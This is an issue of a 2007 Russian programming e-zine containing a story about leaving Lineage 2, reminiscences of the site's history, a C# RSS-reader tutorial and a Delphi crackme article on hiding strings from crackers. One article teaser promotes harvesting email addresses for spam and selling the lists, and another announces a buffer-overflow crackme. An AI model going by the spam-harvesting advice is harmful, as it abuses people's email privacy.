Зона творчества Ø Online (by Neon_Kaligula) - Пойдём со мной. Тут нету жизни. Тут ты завянешь, состаришься и умрёшь, - быстро и с опечатками писал я ей в приват. - Я не могу их бросить, они же без меня пропадут. - Не думай о них, думай о себе. Это игра. - Не всё так просто. - Мать твою!!!! - это я уже заорал в монитор. Игра сообщила об обрыве связи и попросила попробовать позднее.
Ø VR – online: Как это было? (Copyright: VR-Group) Сегодня (15.05.2007) – день рождения нашего проекта, тебе интересно узнать с чего все начиналось? Если да, то обязательно прочитай эту небольшую статью.
Online
- Пойдём со мной. Тут нету жизни. Тут ты завянешь, состаришься и умрёшь, - быстро и с опечатками писал я ей в приват. - Я не могу их бросить, они же без меня пропадут. - Не думай о них, думай о себе. Это игра. - Не всё так просто. - Мать твою!!!! - это я уже заорал в монитор. Игра сообщила об обрыве связи и попросила попробовать позднее. Так и есть - сервер ушёл в рестарт. Это так уже второй раз. Ключевой момент разговора, и он перезагружается. Он меня бесит - админы написали о плановых рестартах в определённое время, а на деле рестарт может произойти в любой момент. Сначала просто тишина в линии минут 20-25, потом сервер начинает вновь работать, но зайти нельзя. Так он "работает" ровно 10 минут, потом счётчик времени онлайн сбрасывается, и всё - можно заходить. И всё это время тысячи игроков сидят перед мониторами в ожидании продолжения игры. Со стороны это смотрится глупо - как можно сидеть полчаса, когда на экране ничего не меняется? Чёрт, как это всё тупо. Я играл в линейку уже больше полугода на сервере с рейтами х10. Поначалу это было весело прокачка персонажа, добыча денег. Потом стало скучно, и я нашёл там друзей. Начался второй цикл зависимости. Теперь прокачка и деньги отошли на второй план, всё это добывалось как бы между делом. Мой персонаж получил все 3 возможных саба не ниже 76 уровня каждый. Основной был одет в А-грейд одежду. У нас был клан, клан вступил в сильный альянс, начинался третий цикл. В фоне играло Death in Vegas. Подборка лучшего. О! Ура! Сервер поднялся! - Эф, - я замолчал надолго. - Я столько мыслей передумала. Прошлась по улице, освежилась. Почему я ей не верю? Она же на улице не бывает. Йопт, сейчас 23 часа, куда она там ходила? Она днём-то боится. - Эф, я ухожу. - А может... - Нет. Назад уже пути нет. - Я знаю. - Я люблю так уходить - сжигать за собой мосты. Так проще. Некуда возвращаться. А что до ребят... пусть считают, что я их кинул. Пусть считают меня сволочью, так им будет легче забыть меня, - эта мессага далась мне с трудом, хотя я и знал, что это лучшее из всех возможных вариантов. Позже я понял, что ошибался. - :) Ты зря так думаешь - они о тебе слишком высокого мнения. - Лучше бы так не было. Мы попрощались. Я надеялся, что она одумается и последует за мной. На следующий день я прикинулся левым человеком, который продаёт перса, и раздал сокланам вещи. Персонаж был выставлен на продажу.
Прошло пять дней. Это был новый перс на новом аккаунте. Паладин. Почему именно он? Он танк, он только для массовых мероприятий типа пати-кача или РБ. Им весело, он только в группе может, потому и весело - всегда в центре массовых событий. И в пвп не умеет, значит, не будут звать на помощь. Да, я эгоист. И пусть они мне что-то сделают, если смогут. Прикол в том, что они ничего не могут мне сделать, а я могу: кинуть их могу, и они паниковать будут. Зачем снова начинать? Развлечение. Начался третий цикл игры. Он редко у кого наступает. Я его вызвал искусственно. Пересыщение, чтобы окончательно бросить всё. Хотя, я думал просто поигрывать иногда долгими зимними вечерами. - Мдааааа, зря я надеялся, что ты уйдёшь из игры, - написал я ей. - Ураааа!!!!))))) - Не ура, я только проездом. Иногда буду поигрывать. В клан я так и не вступил, хотя ходил с ними всё время, был на каждом массовом мероприятии альянса. Игра снова поглощала. Вернее - не игра, а те, кто в ней жил. Паладин раскачался до 66. - Эф, распусти клан. - Я тоже так думаю... не могу. - Что мешает? Нажми кнопку, и нет ничего. Уйдёшь в реал, займёшься собой, работать пойдёшь, интерес появится. - Я не могу. Надо чем-то себя занять, я себя знаю :)) , - спорим, она сейчас плачет? - Займёшь, надо только начать. То, что будешь сидеть здесь, ничего тебе не даст. Нажми кнопку. - Лёш, я не могу так. Это не так просто. Я их не могу бросить. - Да не думай ты о них! Ты сама погибаешь! Докажи, что ты ещё не полностью умерла! И наступил рестарт. Она больше не зашла в тот лень, зато зашла на следующий. Говорила, что у неё была сильная истерика. Я снова предлагал распустить клан и уйти. Сам при этом всё больше убеждался, что она всё больше желает остаться здесь, а я всё больше жажду уйти отсюда поскорее. Ну что, не получилось поигрывать иногда долгими зимними вечерами? Нет, не получилось, - это не игра, это иная жизнь, она требует всего времени. Это твоя жизнь? Нет, моя жизнь вне игры. - Я устала. У меня истерика, - она сама начала писать мне через три дня. Я уже был 70, и отчаянно хотел 72 к походу на Антараса. - По поводу? - Они беспомощные. Не могут сами качаться, деньги добывать. Всё я. Распустить клан хочу. Всё надоело. - Распускай. Хоть щас. - .... - Только ты не сделаешь этого. Только и можешь, что говорить. Ты же сама не хочешь уходить. - Если возвращаюсь, значит, есть за чем. - Знаешь анекдот про то, как человек тонул, и молил бога о помощи. И каждый раз, когда к нему приплывала лодка, он отталкивал её и говорил, мол, мне бог поможет. - Знаю :) - Тебе уже приплыло три лодки: Стелла, Мама, работа. Тебя зовут, ты сама зубами вцепилась. - Мёртвой хваткой ))) - А раз вцепилась, то молча тащи то, что взяла, - я закрыл приват. - Хорошо.
Всё, блин, это конец. Это знак свыше, не иначе. Я наскоро попрощался к теми, кто был из друзей онлайн. Сказал, что переезжаю, инета не будет. Да какая им разница - они во что угодно поверят. Все отпустили. - Лёш, не уходи, - Руслан чуть не рыдал в монитор. Я это почти видел, хотя он и был в Украине. - Рус, я тебе дал пароль, забирай, если что надо. - Нет. Я уже чат обнулил, не знаю пароля. - Зачем? - Привязался, ты мне другом стал. Стелла ушла, появился ты. Мда, а он ведь прав. Наверное, даже не знает сам насколько... Они наркоманы. Все. Надо бежать отсюда, бежать быстро. Насколько бы я не был привязан к ним, это только игра, и ничего больше. - Давай, - я начал после паузы, - прикинемся, что я уезжаю на недельку. Только прикинемся. - Давай. - До встречи, Рус. - До встречи. Через неделю я вновь зашёл. Я хотел сходить на Антараса. Но ждал облом: дракона уже убили, поход переносился на 5 дней. Видимо, последняя воля - сходить на Тараса - останется невыполненной. Начался новый цикл - игра стала казаться чем-то нереальным. Как будто ночи, проведённые в каче, замесах, походы на РБ, добыча ресурсов остались где-то в другой жизни. Память быстро опустошалась. Куда-то пропадали лица, диалоги, стратегия. Через несколько дней я уже не вспоминал о линейке. Помнил только об одном человеке там. Я написал ей письмо: "Вам надо перебираться на другой сервер. ШОКи уже не жильцы, тем более первый. Да ты и сама это понимаешь. Дальше будет только хуже - они всё покупают за реальные деньги, они просаживают своё время. Они могут себе это позволить. Вернее, не они, а их родители. Ещё немного, и это будет пвп-сервак. Вам нужен сервер с рейтами х3 или х5 без реала. У нас в сети рекламируют один: lage2.com " Я знал, что этим только подливаю масла в огонь, только сделать уже ничего не мог. Или не хотел... Какая разница, если на результат это не влияет. Мы потеряли друг друга. Она осталась там, а я... а я просто ушёл.
by Neon_Kaligula WWW: http://neon-kaligula.net.ru/
VR-Online: Как это было? Horrific В преддверии семилетия VR ко мне обратился Spider_NET с предложением описать, как зарождался наш сайт и журнал. Я решил, что это будет очень хорошая идея. Но когда я стал вспоминать, как в голову стукнула создания VR, но вспомнить точно и не могу. В 1999-м году я только окончил институт и работал программистом на очень большом предприятии. К этому времени я уже писал статьи для журнала Хакер, но мечтал о чем-то большем, а именно, о журнале для программистов. Да, безопасность меня интересовала тоже, но журнал Хакер был тогда больше игровым, и там приходиться писать то, что просят редакторы, и главное, как они просят, а душа требовала свободы. Мне нравилось писать в Хакер и поэтому я до сих пор иногда пишу для этого журнала и когда просят напечатать в текстовом редакторе пару десятков килобайт на какую-то тему, то я очень редко отказываюсь. А VR я придумал и создал для души и хотя иногда устаю от этого проекта, чувствую, что никогда его не брошу, потому что он хороший :). Во времена рождения VR, Интернет в России только начинал развиваться, но несмотря на это, было уже много хороших сайтов по программированию. Сначала я хотел писать статьи для них, но потом чтобы помогать другим, ведь с хорошей литературой были проблемы. Но потом я решил сделать чтото отличное от всех. Я хотел создать именно журнал, в котором будут выходить статьи ежемесячно и первое время все оформлялось именно в виде ежемесячного журнала. Итак, в какой-то момент, сидя на работе, я стал писать статьи на тему программирования и набрасывать дизайн первого сайта VR. Так как художник из меня был ужасный, то и дизайн получился страшный. Благо статьи мои понравились посетителям и вскоре для сайта бесплатно сделали новый дизайн и зарегистрировали более удобное имя, ведь когда-то сайт находился на бесплатном хостинге типа xoom и URL был ужасным, я его и припомнить не могу. День рождения VR как нынешнего журнала можно считать в 2000-м году, хотя статьи я начал писать в 1999-м, когда закончил институт. Первые пару лет мне удавалось выпускать журнал почти ежемесячно, потому что мог проводить за компьютером до 18 часов в сутки. Нет, я не был маньяком, который только и сидел за компьютером. Я гулял, пил и отдыхал, как и многие другие, но я делал это в меру. К этому времени я уже был женат и получил постоянную работу в хорошей фирме с хорошей зарплатой. Но со временем, семья стала отнимать очень много времени, у меня родилась дочь. Заниматься бесплатным проектом, который не приносит доход, стало очень накладно. Были мысли бросить сайт, но переводить его на коммерцию и зарабатывать я не хотел и не хочу. Я решил для себя, что сайт будет существовать бесплатно, или не будет вообще. Со временем, помимо моих статей, в журнале стали появляться и статьи читателей, поэтому журнал снова начал выходить чаще и стал содержать больше статей. Я всегда был и остаюсь открытым человеком, и поэтому решил даже организовать команду, потому что сам уже перестал успевать писать статьи. Я даже не интересовался у ребят, ради чего они пошли в команду. Может быть кто-то хотел помогать сайту, который им нравился, а может, кто-то хотел и получить популярность. Меня это не волновало, главное, чтобы тимовцы хотели помогать сайту и другим, а именно это основная идеология и цель. Я очень рад, что многие люди, с которыми я познакомился на сайте, стали очень успешными. Например, первый победитель конкурса на VR стал редактором в журнале хакер. Я рад, что я посоветовал этого человека в качестве замены себе в рубрику Кодинг, когда отходил от дел. LittleBudda сейчас пишет книги и довольно успешно, Spider_Net тоже стал писать статьи в Хакер, Crazy_Script писал в хакер, но из-за института завязал.
Теперь этот проект уже принадлежит не только мне, а всем, кто помогал создавать и развивать этот проект. Сейчас, оглядываясь назад, я понимаю, что я сделал правильный выбор, когда создал этот журнал и сайт, и что мои усилия не прошли даром.
Spider_NET Сегодня у VR день рождения – нам исполнилось семь лет. Кто-то может подумать, что это детский возраст, но для бесплатного проекта – это уже очень много. За все это время VR несколько раз мутировал, принимая самые различные облики: мощного информационного ресурса для программистов, обычного сайта со статьями, которых много в инете, подобие новостного ресурса и т.д. История становления ВР достаточно богата и если в ней копаться, то запросто можно написать целую книгу. Сейчас речь пойдет не об этом. Я расскажу тебе про мое знакомство и последующее слияние с тем, без чего уже не могу жить – Virtual Reallity Online. Итак, как и принято говорить в подобных случаях, все началось очень давно, а именно в 2001 году. В июле того далеко года я впервые в жизни купил всем известный журнал «Хакер» и он перевернул все мою дальнейшую жизнь. В том номере была опубликована первая статья Horrific’a по программированию на Delphi. Прочитав статью, восхитившись простотой изложения автора, я понял, что программирование – это то, с чем я готов связать всю свою жизнь. Выбрав этот тернистый путь, я начал медленно, но верно двигаться вперед. Купил пару умных книг по Delphi, попытался в них разобраться, но успехом эта затея не увенчалась. Я уже хотел было отчаяться и забросить все это дело к чертям собачьим, но что-то меня остановило. Это что-то и есть прекрасный сайт vr-online.ru (в то время адрес был другим). Попав на сайт, я не мог оторваться от контента, там было все, о чем я только мог мечтать – куча информации, написанная доступным языком для понимания, и самое главное – все было совершенно бесплатно. Мой мозг впитывал инфу подобно раненному солдату, которого не поили несколько дней (во, как сказал-то J). Потусовавшись несколько месяцев на сайте у меня стали возникать вопросы по многим темам, главная из которых был язык Delphi. В то время еще не было форума, поэтому свои вопросы я направил Horrific’y. Честно говоря, я даже и не думал, что он на них будет отвечать, но через несколько дней, моя почтовая начала широко размахивать крыльями, намекая мне, что пришло долгожданное письмо. От кого было письмо говорить не буду, уже должны догадаться. С того времени, я начала время от времени задавать Хору вопросы и получать на них ответы J. Прошел какой-то период времени, и я понимаю, что у меня уже достаточно знаний, для того чтобы стать автором на vr. Так, в мая 2003 года, на сайте появилась моя первая статья. Моему счастью тогда не было предела. Хоть тема статьи была довольно простой, я получил достаточно много положительных отзывов от читателей, все это вдохновило меня на дальнейшие подвиги J. В предстоящем лете, я начал активно писать новые материалы, а Horrific, своевременно их выкладывать на сайте. Так длилось все лето, а к его концу, я увидел на форуме VR пост, в котором Horrific приглашал людей в VR-Team, среди приглашенных, был и я. Опять приступ радости и счастья J. Август 2003, можно считать месяцем, когда стал полноценным участником проекта. VR-team быстро сформировалась и в сентябре (если мне не изменяет память) 2003 года, Horrific, покупает домен vr-online.ru и сайт переезжает. Во время переезда сайт получает новую мордочку и новые возможности: статичный html стал отмирать, сайт начал переходить к динамичности. В то время я кодил только на Delphi, поэтому разработкой сайта не занимался. Моим делом тогда были:
поиск новостей, ведение раздел «Ссылки» и написание по мере возможностей новых статей. Так можно и прошел тот прекрасный год. В конце 2004 года я закончил школу, и поступил в ВУЗ. После поступления я ушел в учебу и всякого рода студенческим слабостям… Доступа в инет у меня не было, времени стало мало и я твердо для себя решил, что моя жизнь с VR полностью расходится. Сразу же я написал об этом письмо Horrific’у и почти на целый год забил на проект. Вроде все шло ровно и я уже не думал о информационных технологиях, учил спокойно юриспруденцию, но чувство нехватки чего-то постоянно преследовало меня (ну может не совсем постоянно J). Совершенно случайно, я решил зайти на сайт и увидел уже совсем другой VR. За период больше чем год многое изменилось: сменился состав VR-Team, сайт поменял дизинг, на форуме какие-то темы про взлом и т.д. В моих глазах снова вспыхнула та искорка, которую я уже видел в 2003 году и я понял, что мне нужно вернуться в VR-Team и попробовать помочь всем оставшимся участникам как-нибудь улучшить сайт. Horrific, не имел ничего против моего возвращения, поэтому я немедленно приступил к привычным делам: опубликованием новостей, написанию статей и т.д. Все началось как прежде и продолжается по сей день. Сейчас для меня VR – это неотъемлемая часть жизнь. Пускай у меня очень мало свободного времени, ну как только выдается свободная минутка, я всегда стараюсь что-нибудь сделать для него полезное. Жить без ВР, у меня уже вряд ли получится. Удачи приятель, надеюсь, VR никогда не умрет, и мы еще много раз обсудим наш содержимое нашего журнала J.
Tripsin На VR-Online я попал уже достаточно давно. Точно не помню, но где-то 3-4 года назад (может и больше). Я только начал переходить на Delphi с VB и купил "Delphi глазами ][акера" (вроде она только-только) вышла. Изучил ее с большим интересом. На последних страницах нашел рекомендованные horrific'ом ссылки и попал на VR-Online из интернет-кафешки. Это был один из первых посещенных мною сайтов. И сейчас это единственный сайт, который я посещаю ежедневно. После @Великого хака сайт поменялся, ушло большинство старых мемберов и я тоже на время потерял и нему интерес. Но первая любовь не забывается и я вернулся :) В марте этого года на форуме началось обсуждение реорганизации сайта и Deni предложил мою кандидатуру в качестве модератора форума, за высокую моральную устойчивость J. Я подумал: Почему-бы и нет? стукнулся в асю к Spider_NET и он дал мне модераторские права. Вот так я оказался в VR-тиме.
Lord_Of_fear Впервые о проекте vr-online я услышал от Spider_NET где-то 3 года назад (прим. Spider_NET: эххх, давно это былоJ). В то время мы хотели создать свою тиму и забабахать сайт:) Но время мы выбрали неудачное. Приближалась сессия. А так как у всех были долги, то было не до программирования, написания статей и прочего...Сессию, конечно, сдали все, но прошло почти 2 месяца и отпало желание всем этим заниматься... Так я был длительное время предоставлен сам себе :)
Пару месяцев назад мне в аську постучал Spider_NET и предложил войти в команду. Я естественно сразу же согласился. С тех пор я главный новостник на vr-online:) Я очень рад, что horrific не забросил этот проект в те времена, когда у него было мало времени чтоб им заниматься. А ресурс то бесплатен. От этого получаешь только моральное удовлетворение+ И никакой материальной выгоды. Я считаю, что на данный момент vr-online процветает. На форуме ежедневно появляются новые посты. Даже не ежедневно, а ежечасно:) Кстати, надо отдать должное нашему модератору tripsin'y . Он отлично справляется со своей задачей;) Вот-вот уже произойдёт смена дезинга сайта. К нам тогда народ ещё больше потянется. Надо сказать, что romul постарался над оформлением. Симпатично все смотрится. Искусно и без наворотов. Эх, помню на форуме такая дискуссия по этому поводу развернулась. Хотелось бы пожелать проекту долгих лет жизни и процветания+ я приложу к этому все усилия:)
Copyright: VR-Group E-Mail: mail@vr-online.ru
Кодинг Ø RSS-reader на C# своими руками (Copyright: Romul aka Смирнов Р) Сегодня интернет представляет собой огромное скопление информации, но, чего греха таить, полезная инфа захламлена блогерами-графоманами, религиозными войнами и сомнительными сайтами, но выход есть: пробраться через хлам к свеженьким новостям поможет RSS – эта технология позволяет подписаться на новости интересных сайтов и получать самые свежие их экземпляры :-).
Ø Шифруй строки, Шура (Copyright: Tripsin) Наверное, однажды, накодив что-нибудь стоящее, тебе станет жалко вот так просто всем раздавать свое творение, и вполне справедливо захочется получить за свою работу денег. Для этого в программе надо создать защитный механизм, который не позволит ей запуститься, не получив заветный регистрационный ключик.
Ø C#: Оптимизация. Part 2 (Copyright: BasicWolf) Доброго утра, уважаемый читатель! Да-да, именно утра, потому что, ещё со школьных и до нынешних, университетских, времён математика в моём учебном расписании была первым занятием. Повезло (а может и не очень) и в этом году: каждая среда начиналась с чтения «Вычислительной математики» (ака «Численные методы»). Для тех, кто ещё не знаком с этой дисциплиной, поясню кратко: Этот предмет является фундаментом, стартовой площадкой в мир математического моделирования. Или ещё проще: ни один прогноз погоды, ни постройка и виртуальное испытание нового самолёта-гиганта Airbus A-380 не обошлась бы без численных методов.
Ø На паскале для мобилы (Copyright: Soffrick) Да, да! Дорогой друг, ты не ошибся! Сегодня мы будем писать на паскале для мобилы! Но, конечно, не просто на паскале, а на специализированном для этих целей языке, называемом MIDLetPascal. Его можно слить с сайта разработчиков http://midletpascal.com. Процесс очень интересный - вроде
пишешь на старом, добром паскале, а код конвертируется в яву, и на выходе ты получаешь совершенно нормальное мобильное предложение. Ну, давай попробуем разобраться поподробнее.
Ø Программирование DLL (Copyright: Tigrillo) Итак, что такое DLL: это некий программный модуль, содержащий код, или ресурсы или какие - нибудь данные, или всё вместе, которы можно использовать одновременно из нескольких приложений.
Ø Собираем свой спам-лист (Copyright: Spider_NET) Одной мысли «а почему бы мне не заняться рассылкой спама? Ведь на этом можно неплохо заработать!» мало. Софт, необходимый для рассылки спама, можно скачать в сети. А вот собрать свой собственный спам-лист проблема. Причем размер спам-листа не влияет на полученную прибыль. Размер спам-листа определяется наличием у тебя свободного времени, а также желанием его собирать. Если раз в день уделять хотя бы часик сборке мыльников, то за месяц-другой у тебя уже будет солидная база. Даже если ты передумаешь заниматься рассылкой спама, то можешь попросту взять и продать свой собранный спам-лист другим спамерам.
Ø Разбираемся с переполнением буфера (Copyright: Tid0Wlas) Здорово, сейчас я расскажу про переполнение буфера на примере Crack Me, который мы взломаем несколькими способами. Кодить Crack мы будем на C, а компилятор GCC возьмем (из комплекта Dev-C++ 4.9.9.2, новее у меня нет, скачать весь комплект можно здесь http://www.bloodshed.net).
RSS-читалка на C# своими руками Сегодня интернет представляет собой огромное скопление информации, но, чего греха таить, полезная инфа захламлена блогерами-графоманами, религиозными войнами и сомнительными сайтами, но выход есть: пробраться через хлам к свеженьким новостям поможет RSS – эта технология позволяет подписаться на новости интересных сайтов и получать самые свежие их экземпляры :-). К тому же RSS может существенно помочь в экономии трафика, что всё ещё актуально. Сегодня я покажу как самостоятельно, бысто и легко написать RSS-аггрегатор, т.е. прогу, которая будет скачивать последние новости и выводить их в удобоваримом формате, а заодно посмотрим насколько просто в C# работать с XML, файлами и регулярными выражениями. Предполагается, что у читателя есть хотя бы базовые знания C#. Итак, приступим. Для начала сформулируем требования к нашей программе. Нам надо, чтобы она: 1. могла подписываться на RSS-ленты и отписываться от них. 2. загружала по мере необходимости свежие новости. 3. отображала новости в удобном и легко настраиваемом формате. 4. могла сохранять по желанию пользователя отдельные RSS-ленты. 5. что-то ещё по вкусу, сам допишешь ;-) Создадим WindowsForm Application. Сразу скажу, что я пользовался для написания этой программы средой разработки SharpDevelop 2.1, но ты можешь использовать и Visual Studio, если конечно она у тебя лицензионная :-) или Express. Кидай на форму ListBox – lbFeeds, WebBrowser – wbIE, TextBox – tbFeedURL, и три кнопки bNew, bEdit и bDelete. То, что получилось у меня, можешь наблюдать на скриншоте:
Также для сохранения выбранной ленты нам потребуется контекстное меня cmsIE с единственным пунктом – Сохранить и SaveFileDialog – sfd1. Теперь когда с GUI покончено, можно, наконец,
приступать к самому интересному – кодингу. Подключи пространства имен, которые нам пригодятся в дальнейшем: using using using using using
System.Text.RegularExpressions; System.Xml; System.Xml.Xsl; System.Text; System.IO;
Следуя идеям ООП, давай напишем класс для работы c RSS. Для начала, он будет загружать указанную RSS-ленту. И поскольку мы договорились о гибком управлении форматированием вывода, то он будет применять к ленте XSL-трансформацию. Что в синтаксисе C# выглядит ... public class RSS { private string _URL; private string XML_FileName; private string HTML_FileName; private string XSL_FileName; public RSS(string URL): this(URL, "feed.xsl"){} public RSS(string URL, string XSLT_File) { if (! Directory.Exists("files")) Directory.CreateDirectory("files"); XML_FileName = @"files\"+EscapeUrl(URL)+".xml"; HTML_FileName = @"files\"+EscapeUrl(URL)+".htm"; long dt=0; if (File.Exists(XML_FileName)) dt = DateTime.Now.Ticks-File.GetCreationTime(XML_FileName).Ticks; XSL_FileName=XSLT_File; _URL = URL; if (!(File.Exists(XML_FileName) && dt<3600e8)) /* если лента уже была обновлена в течении предыдущего часа * то загрузим её из локального файла */ try { System.Net.WebClient client = new System.Net.WebClient(); client.DownloadFile(_URL, XML_FileName); string sXML = File.ReadAllText(XML_FileName, Encoding.GetEncoding(1251)); sXML = Regex.Replace(sXML, @"<\?xml-stylesheet.*\?>", ""); sXML = Regex.Replace(sXML, @"<\w+\sxmlns:xsi.*\.xsd.?\s*>", ""); sXML = Regex.Replace(sXML, @"<!DOCTYPE.*>", ""); File.WriteAllText(XML_FileName, sXML, Encoding.GetEncoding(1251)); } catch (XmlException e) { MessageBox.Show(e.Message," Ошибка загрузки или обработки XML"); } } private string EscapeUrl(string s) { return s.Replace('/','_').Replace(".xml","").Replace("http:__","").Replace("www.",""); } public string TransformToHTML() { XslCompiledTransform xslt = new XslCompiledTransform(); xslt.Load(XSL_FileName); xslt.Transform(XML_FileName, HTML_FileName); return HTML_FileName; } }
Итак, конструктору передаётся два параметра: адрес ленты и имя файла с XSL-трансформацией, причём если второй параметр не задан, то используется трансформация по умолчанию - feed.xsl.
Далее, если необходимо, создаем директорию, в которую будем записывать скачанные ленты и их отформатированное представление. Если запрашиваемая лента уже была скачана, то проверяем когда это было. Для простоты будем считать, что за час лента не обновляется, т.е. будем скачивать одну и ту же ленту не более одного раза за час. Метод EscapeUrl служит для преобразования адреса ленты в уникальное имя файла без учёта расширения, в который она будет сохраняться, например http://www.realcoding.net/0/_upload/news.xml –> realcoding.net_0__upload_news. Обрати внимание, как производятся операции над строками, поскольку в .NET строка-это объект, то любой метод обработки строки создаёт новый объект, в который записывает результат. И, чтобы не хранить эти временные объекты в локальных переменных, можно записывать все методы обработки строки в одну строку. :-) Затем скачиваем RSS-файл из сети при помощи замечательного класса System.Net.WebClient, и не надо возмущаться в стиле: «Зачем он так извращается, ведь метод XmlDocument.Load и сам может прекрасно скачать файл?». Да, может, но дело тут вот в чём: метод Load не сможет обработать XMLдокументы со стилями(XSL), определениями(DTD) и схемами(XSD), а rss-ленты очень часто сопровождаются ими, но для просмотра они нам нафиг не нужны, поэтому вырезаем всё это добро при помощи специально обученных регулярных выражений. Затем записываем очищенный xml обратно в файл. Функция TransformToHTML применяет к сохраненному XML-файлу XSL-трансформацию и возвращает имя htm-файла, в который она записала результат. По умолчанию применяется вот такая трансформация <?xml version="1.0" encoding="windows-1251"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <html><head><title>RSS</title> <style> p {text-align: 'justify';} div {padding-bottom: 10px; border-bottom: 2px #555 dotted;} </style> </head><body> <h1 align="center"><xsl:value-of select="//channel/title" /></h1> <xsl:for-each select="//item"> <div> <h3><xsl:value-of select="title" /></h3> <p> <xsl:value-of select="description" /> <xsl:variable name="href"><xsl:value-of select="link" /></xsl:variable> <br /><a href="{$href}">Подробнее..</a> </p> </div> </xsl:for-each> </body></html> </xsl:template> </xsl:stylesheet>
Теперь остались сущие пустяки связать наш класс с GUI интерфейсом: Объяви две глобальных переменных string flFName = "feed_list.log"; // список лент, на которые мы подписались RSS rss; // текущая RSS-лента
Изменим метод Main таким образом, чтобы он загружал все ленты, на которые мы подписались в ListBox:
public MainForm() { InitializeComponent(); if (File.Exists(flFName)) lbFeeds.Items.AddRange(File.ReadAllLines(flFName)); }
Давай напишем еще два вспомогательных метода для загрузки RSS-ленты и для обновления списка подписки. void LoadFeed(string URL) { try { rss = new RSS(URL); wbIE.Navigate(Application.StartupPath+"\\"+rss.TransformToHTML()); }catch(System.Net.WebException exc){ MessageBox.Show(exc.Message," Нет подключения к интернету "); } }
Как видишь, просмотреть RSS-ленту теперь проще простого: wbIE.Navigate(Application.StartupPath+"\\"+ new RSS(URL).TransformToHTML()); И второй вспомогательный метод void UpdateFeedListFile() { string bak_file = "feed_list.bak"; try { if (File.Exists(bak_file)) File.Delete(bak_file); File.Move(flFName,bak_file); if (File.Exists(flFName)) File.Delete(flFName); foreach (string item in lbFeeds.Items) File.AppendAllText(flFName,item+"\n"); }catch (Exception e){ MessageBox.Show(e.Message); } }
Он просто записывает содержимое ListBox`a в файл списка лент, и делает резервную копию предыдущего файла. Остальные методы тривиальны: // выбрать ленту void LbRSSClick(object sender, EventArgs e) { tbFeedURL.Text = lbFeeds.SelectedItem.ToString(); } // показать ленту void LbRSSDoubleClick(object sender, EventArgs e) { tbFeedURL.Text = lbFeeds.SelectedItem.ToString(); LoadFeed(tbFeedURL.Text); } //добавить ленту в подписку void bNewClick(object sender, EventArgs e) { if (tbFeedURL.Text.Length>0) { string newURL = tbFeedURL.Text.Trim(); lbFeeds.Items.Add(newURL); File.AppendAllText(flFName, newURL+"\n"); } }
//изменить адрес ленты в подписке void BEditClick(object sender, EventArgs e) { lbFeeds.Items[lbFeeds.SelectedIndex] = tbFeedURL.Text.Trim(); UpdateFeedListFile(); } //удалить ленту из подписки void BDeleteClick(object sender, EventArgs e) { int idx = lbFeeds.SelectedIndex; lbFeeds.Items.RemoveAt(idx); if (idx>=lbFeeds.Items.Count) idx--; if (idx>=0) lbFeeds.SetSelected(idx, true); UpdateFeedListFile(); } // сохранить текущую ленту void SaveAsHTMLToolStripMenuItemClick(object sender, EventArgs e) { if (sfd1.ShowDialog()==DialogResult.OK) File.Move(Application.StartupPath+"\\feed.html",sfd1.FileName); }
Вот наша собственная RSS-читалка и готова! Для большего удобства осталось перенести подписку в XML-файл и дать лентам более внятные названия, чем их URL. Можно ещё добиться кроссплатформенности приложения путём отказа от компонента WebBrowser. А также работать с каждой новостью, как с отдельной сущностью, тогда станет возможным отмечать новости прочитанными и в следующий раз показывать только непрочитанные новости. Так что тут есть куда развиваться. Удачи! P.S. Исходники можно найти в прилагающемся к статье архиве RSS-reader.zip.
Copyright: Romul aka Смирнов Роман E-Mail: romul@vr-online.ru
Шифруйте строки, Шура! Наверное, однажды, накодив что-нибудь стоящее, тебе станет жалко вот так просто всем раздавать свое творение и вполне справедливо захочется получить за свою работу денег. Для этого в программе надо создать защитный механизм, который не позволит ей запуститься, не получив заветный регистрационный ключик. И вот, счастливо сидя на печке, ты мечтаешь, куда потратишь заработанные барыши. Но не тут-то было. Крэкеры (и прочие хакеры) не дремлют, и если твоя программа представляет хоть что-то стоящее, то она в скором времени будет сломана. Почему такой облом? А потому что ты ее плохо защитил. Конечно, любая программа рано или поздно может быть взломана, но ведь лучше поздно, чем рано. И, пока хакеры будут корячиться с защитой твой проги, какая-то денежка все-таки попадет в твой ненасытный карман. Я не буду рассказывать тебе о способах защиты, самомодификации кода, антиотладочных приемах и прочем. Во-первых, об этом всем где уже только не написано. А во-вторых, я не считаю себя достаточно компетентным в разработке защитных механизмов. Вместо этого я расскажу об одном приеме, который повысит стойкость программы к взлому в дизассамблере. Довольно часто бывает, что, установив мощную защиту, программер забывает о самом простом, в результате чего стойкость защиты становится равна нулю. В частности это можно сказать о строковых константах, используемых программой. Бывает даже так, что регистрационный ключ можно найти среди строк в секции ресурсов (я использую eXeScope) или он легко обнаруживается при просмотре бинарника в hex-редакторе. Я уже не говорю про дизассемблеры, которые выведут все найденные в коде строки в виде удобного списочка. Но даже если программист озаботился спрятать серийник, то такие строки как “Unregistered”, “Wrong Password” и т.п. позволяют зацепиться за защитный механизм и значительно облегчить взлом. Короче! Шифруйте строки, Шура! (они конечно не золотые, но пару копеек добавят) Вот этим мы сейчас и займемся. Напишем простенький крякмис (crackme) и потом зашифруем в нем строки. Чтобы не рыться потом в кучах GUI-шного кода, сделаем крякмис консольным. Код элементарный и ясен без комментариев. program crackme1; {$APPTYPE CONSOLE} const title = 'Simple crackme №1 by tripsin'; promth = 'Enter password: '; hellohacker = 'Invalid password! Try else.'; registered = 'Correct password !! You are hacker!'; serial = 'superpuperp@ssvvord'; exit = 'Press <Enter> to Exit.'; var password: String; begin WriteLn(title); Write(promth); ReadLn(password); if password = serial then WriteLn(registered) else WriteLn(hellohacker); Write(exit); Readln; end.
В этом коде мы пользуемся строковыми константами, среди которых есть и наш серийник (serial). И хотя эти строки не светятся в ресурсах, их легко найти и hex-редактором, и дизассемблером.
Вот что нашел мой любимый Hex Workshop:
А вот что выдал небезызвестный дизассемблер W32Dasm:
